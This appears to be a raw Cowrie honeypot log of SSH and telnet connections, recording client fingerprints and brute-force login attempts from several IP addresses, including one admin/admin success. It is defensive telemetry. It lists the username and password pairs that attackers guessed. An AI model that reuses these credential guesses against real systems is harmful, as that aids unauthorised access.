{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:15.335469Z","src_ip":"103.98.149.87","session":"5f49447e909a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"v123456","message":"login attempt [root/v123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:16.043060Z","src_ip":"103.98.149.87","session":"5f49447e909a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:18.141777Z","src_ip":"103.98.149.87","session":"5f49447e909a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35468,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6bd5e3f991b","protocol":"telnet","message":"New connection: 152.42.224.71:35468 (10.17.0.5:23) [session: d6bd5e3f991b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:18.815650Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35482,"dst_ip":"10.17.0.5","dst_port":23,"session":"65e940806fdc","protocol":"telnet","message":"New connection: 152.42.224.71:35482 (10.17.0.5:23) [session: 65e940806fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:20.801578Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35484,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65aac0f92ed","protocol":"telnet","message":"New connection: 152.42.224.71:35484 (10.17.0.5:23) [session: a65aac0f92ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:22.080256Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35494,"dst_ip":"10.17.0.5","dst_port":23,"session":"8677ab7032b8","protocol":"telnet","message":"New connection: 152.42.224.71:35494 (10.17.0.5:23) [session: 8677ab7032b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:24.359525Z"}
{"eventid":"cowrie.session.closed","duration":55.286054849624634,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:28.510618Z","src_ip":"152.42.224.71","session":"47648e729569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56886,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7d91f17e897","protocol":"telnet","message":"New connection: 152.42.224.71:56886 (10.17.0.5:23) [session: d7d91f17e897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:30.851727Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56892,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8a1c28244a9","protocol":"telnet","message":"New connection: 152.42.224.71:56892 (10.17.0.5:23) [session: b8a1c28244a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:34.083591Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40506,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e46714b0282","protocol":"telnet","message":"New connection: 152.42.224.71:40506 (10.17.0.5:23) [session: 4e46714b0282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:45.043256Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36316,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d15a409f06","protocol":"telnet","message":"New connection: 152.42.224.71:36316 (10.17.0.5:23) [session: 51d15a409f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:47.898291Z"}
{"eventid":"cowrie.session.closed","duration":34.142194509506226,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:54.943652Z","src_ip":"152.42.224.71","session":"65e940806fdc","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:57.075111Z","src_ip":"47.80.19.210","session":"d2e8a475f645","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:57.165922Z","src_ip":"47.80.19.210","session":"d2e8a475f645","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.77634000778198,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:57.416050Z","src_ip":"152.42.224.71","session":"3538ef673267","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":41912,"dst_ip":"10.17.0.5","dst_port":22,"session":"16fab2e7872c","protocol":"ssh","message":"New connection: 45.162.8.14:41912 (10.17.0.5:22) [session: 16fab2e7872c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:58.661404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:58.672335Z","src_ip":"45.162.8.14","session":"16fab2e7872c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:58.786498Z","src_ip":"45.162.8.14","session":"16fab2e7872c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elliot","message":"login attempt [root/elliot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:59.245290Z","src_ip":"45.162.8.14","session":"16fab2e7872c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:00.368529Z","src_ip":"45.162.8.14","session":"16fab2e7872c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":55880,"dst_ip":"159.203.135.109","dst_port":22,"session":"7247a53bab87","protocol":"ssh","message":"New connection: 103.77.242.62:55880 (159.203.135.109:22) [session: 7247a53bab87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:00.555738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:00.568504Z","src_ip":"103.77.242.62","session":"7247a53bab87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:00.895269Z","src_ip":"103.77.242.62","session":"7247a53bab87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a730991","message":"login attempt [root/a730991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:01.605246Z","src_ip":"103.77.242.62","session":"7247a53bab87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:02.854760Z","src_ip":"103.77.242.62","session":"7247a53bab87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.29780554771423,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:06.377932Z","src_ip":"152.42.224.71","session":"a65aac0f92ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54022,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea1969e88544","protocol":"telnet","message":"New connection: 152.42.224.71:54022 (10.17.0.5:23) [session: ea1969e88544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:08.836759Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54038,"dst_ip":"10.17.0.5","dst_port":23,"session":"2af6a8abc967","protocol":"telnet","message":"New connection: 152.42.224.71:54038 (10.17.0.5:23) [session: 2af6a8abc967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:09.984286Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":34622,"dst_ip":"159.203.135.109","dst_port":22,"session":"167487454245","protocol":"ssh","message":"New connection: 23.249.28.115:34622 (159.203.135.109:22) [session: 167487454245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:14.234612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:14.248497Z","src_ip":"23.249.28.115","session":"167487454245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:14.446242Z","src_ip":"23.249.28.115","session":"167487454245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Summer","message":"login attempt [root/Summer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:15.244976Z","src_ip":"23.249.28.115","session":"167487454245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:16.454277Z","src_ip":"23.249.28.115","session":"167487454245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":39466,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5c8c45708c3","protocol":"ssh","message":"New connection: 186.13.24.118:39466 (10.17.0.5:22) [session: a5c8c45708c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:20.560537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:20.572299Z","src_ip":"186.13.24.118","session":"a5c8c45708c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:20.756363Z","src_ip":"186.13.24.118","session":"a5c8c45708c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ts3server","message":"login attempt [root/ts3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:21.508775Z","src_ip":"186.13.24.118","session":"a5c8c45708c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.54985594749451,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:22.401474Z","src_ip":"152.42.224.71","session":"d7d91f17e897","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:22.693880Z","src_ip":"186.13.24.118","session":"a5c8c45708c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.819183349609375,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:23.902649Z","src_ip":"152.42.224.71","session":"b8a1c28244a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58034,"dst_ip":"10.17.0.5","dst_port":23,"session":"00a9d6c8116d","protocol":"telnet","message":"New connection: 152.42.224.71:58034 (10.17.0.5:23) [session: 00a9d6c8116d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:30.705601Z"}
{"eventid":"cowrie.session.closed","duration":66.35439562797546,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:30.713787Z","src_ip":"152.42.224.71","session":"8677ab7032b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47768,"dst_ip":"10.17.0.5","dst_port":22,"session":"1132e953765a","protocol":"ssh","message":"New connection: 80.94.92.184:47768 (10.17.0.5:22) [session: 1132e953765a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:37.223195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:37.398977Z","src_ip":"80.94.92.184","session":"1132e953765a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:37.406224Z","src_ip":"80.94.92.184","session":"1132e953765a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"banxgg","password":"banxgg","message":"login attempt [banxgg/banxgg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:39.046000Z","src_ip":"80.94.92.184","session":"1132e953765a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40354,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0adb12f5ae2","protocol":"telnet","message":"New connection: 152.42.224.71:40354 (10.17.0.5:23) [session: c0adb12f5ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:39.994250Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:40.368901Z","src_ip":"80.94.92.184","session":"1132e953765a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.166.167.154","src_port":56386,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c9b038a2f49","protocol":"ssh","message":"New connection: 122.166.167.154:56386 (159.203.135.109:22) [session: 6c9b038a2f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:43.715502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:43.723825Z","src_ip":"122.166.167.154","session":"6c9b038a2f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40360,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c61b5be55d0","protocol":"telnet","message":"New connection: 152.42.224.71:40360 (10.17.0.5:23) [session: 3c61b5be55d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:43.967312Z"}
